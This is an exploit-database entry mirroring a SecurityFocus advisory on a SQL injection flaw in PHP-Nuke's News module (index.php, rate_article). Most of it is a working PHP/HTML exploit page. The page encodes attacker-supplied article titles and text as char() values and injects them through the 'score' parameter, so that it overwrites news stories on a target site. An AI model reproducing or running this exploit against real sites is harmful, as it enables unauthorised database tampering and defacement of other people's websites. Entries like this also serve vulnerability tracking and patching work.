PHPNuke 5.6/6.x News Module Index.PHP SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
PHPNuke News Module Index.PHP SQL Injection Vulnerabilit

                                                source: http://www.securityfocus.com/bid/7173/info

It has been reported that an input validation error exists in the index.php file included with PHPNuke as part of the News module. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database and alter information on articles posted on the site.

If magic_quotes_gpc=OFF or ON

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;PHP-Nuke Change News&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
&#60;?
function ascii_phpnuke_exploit($str) {
for ($i=0;$i &#60; strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).&#39;,&#39;;
}
}
return $ascii_char;
}

if (isset($submit)) {

$score=&#34;1&#34;;
if (isset($title)) {
$score.=&#34;, title=char(&#34;.ascii_phpnuke_exploit($title).&#34;)&#34;;
}
if (strlen($hometext)&#62;1) {
$score.=&#34;, hometext=char(&#34;.ascii_phpnuke_exploit($hometext).&#34;)&#34;;
}
if (strlen($bodytext)&#62;1){
$score.=&#34;, bodytext=char(&#34;.ascii_phpnuke_exploit($bodytext).&#34;)&#34;;
}
?&#62;

&#60;b&#62;Target URL : &#60;/b&#62;&#60;? echo $target; ?&#62;&#60;br&#62;&#60;br&#62;
&#60;b&#62;SID : &#60;/b&#62;&#60;? echo $sid; ?&#62;&#60;br&#62;&#60;br&#62;
&#60;b&#62;New Title : &#60;/b&#62;&#60;? echo $title; ?&#62;&#60;br&#62;&#60;br&#62;
&#60;b&#62;New Story Text : &#60;/b&#62;&#60;? echo $hometext; ?&#62;&#60;br&#62;&#60;br&#62;
&#60;b&#62;New Extended Text : &#60;/b&#62;&#60;? echo $bodytext; ?&#62;&#60;br&#62;&#60;br&#62;


&#60;form method=&#34;POST&#34; action=&#34;&#60;? echo $target; ?&#62;/modules.php&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;name&#34; value=&#34;News&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;op&#34; value=&#34;rate_article&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;sid&#34; value=&#34;&#60;? echo $sid; ?&#62;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;score&#34; value=&#34;&#60;? echo $score; ?&#62;&#34;&#62;
&#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Change the News&#34;&#62;
&#60;/form&#62;
&#60;input type=&#34;submit&#34; value=&#34;Back&#34; onclick=&#34;history.go(-1)&#34;&#62;

&#60;?
}else{
?&#62;

&#60;form method=&#34;GET&#34; action=&#34;&#60;? echo $PHP_SELF; ?&#62;&#34;&#62;
Target URL : &#60;input type=&#34;text&#34; name=&#34;target&#34;&#62;&#60;br&#62;
News SID : &#60;input type=&#34;text&#34; name=&#34;sid&#34;&#62;&#60;br&#62;&#60;br&#62;
&#60;b&#62;New Title :&#60;/b&#62;&#60;br&#62; &#60;input type=&#34;text&#34; name=&#34;title&#34;&#62;&#60;br&#62;
&#60;br&#62;&#60;br&#62;&#60;b&#62;New Story Text :&#60;/b&#62;&#60;br&#62;&#60;textarea cols=&#34;50&#34; rows=&#34;12&#34;
name=&#34;hometext&#34;&#62;&lt;/textarea&gt;
&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;b&#62;New Extended Text : &#60;/b&#62;&#60;br&#62;&#60;textarea cols=&#34;50&#34; rows=&#34;12&#34;
name=&#34;bodytext&#34;&#62;&lt;/textarea&gt;&#60;br&#62;&#60;br&#62;
&#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Preview&#34;&#62;
&#60;/form&#62;

&#60;?
}
?&#62;

&#60;/body&#62;
&#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1